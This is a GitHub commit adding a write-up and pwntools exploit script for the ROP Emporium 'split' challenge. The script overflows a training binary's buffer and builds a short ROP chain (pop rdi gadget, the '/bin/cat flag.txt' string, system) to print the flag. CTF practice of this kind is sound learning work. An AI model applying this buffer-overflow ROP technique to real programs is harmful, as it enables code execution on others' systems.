Skip to content

Commit

Permalink
split64 challenge
Browse files Browse the repository at this point in the history
  • Loading branch information
cynops authored Oct 28, 2019
1 parent 1611fcc commit bc73f07
Show file tree
Hide file tree
Showing 7 changed files with 63 additions and 0 deletions.
Binary file added Rop-Emporium/split/Images/1.png
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Binary file added Rop-Emporium/split/Images/2.png
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Binary file added Rop-Emporium/split/Images/3.png
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
43 changes: 43 additions & 0 deletions Rop-Emporium/split/README.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,43 @@
# split

> In this challenge the elements that allowed you to complete the ret2win challenge are still present, they've just been split apart. Find them and recombine them using a short ROP chain.
> Click below to download the binary.
>
> Url: https://ropemporium.com/challenge/split.html


### x64 Solution

Our mission is to do a ROP chain to call system function with "/bin/bat flag.txt" as an argument to get the flag.

![](Images/1.png)

```bash
~$ ropper -f split64 > split-gadgets.txt
```

![](Images/3.png)



```python
from pwn import *

elf = ELF('./split64')

io=process(elf.path)
payload=flat(
'A'*40,
0x400883, # 0x400883: pop rdi; ret;
elf.search('/bin/cat flag.txt').next(),
elf.sym['system'],
endianness='little', word_size=64, sign=False)

io.recvuntil('> ')
io.sendline(payload)
io.interactive()
```

![](Images/2.png)

19 changes: 19 additions & 0 deletions Rop-Emporium/split/exploit-split64.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,19 @@
from pwn import *


elf = ELF('./split64')

context.terminal=['tmux','sp','-h']
#context.log_level='DEBUG'

io=process(elf.path)
payload= flat(
'A'*40 ,
0x400883, #0x0000000000400883: pop rdi; ret;
elf.search('/bin/cat flag.txt').next(), #0x00601060 17 18 (.data) ascii /bin/cat flag.txt
elf.sym['system'],
endianness='little',word_size=64,sign=False)

io.recvuntil('> ')
io.sendline(payload)
io.interactive()
1 change: 1 addition & 0 deletions Rop-Emporium/split/flag.txt
Original file line number Diff line number Diff line change
@@ -0,0 +1 @@
ROPE{a_placeholder_32byte_flag!}
Binary file added Rop-Emporium/split/split64
Binary file not shown.

0 comments on commit bc73f07

Please sign in to comment.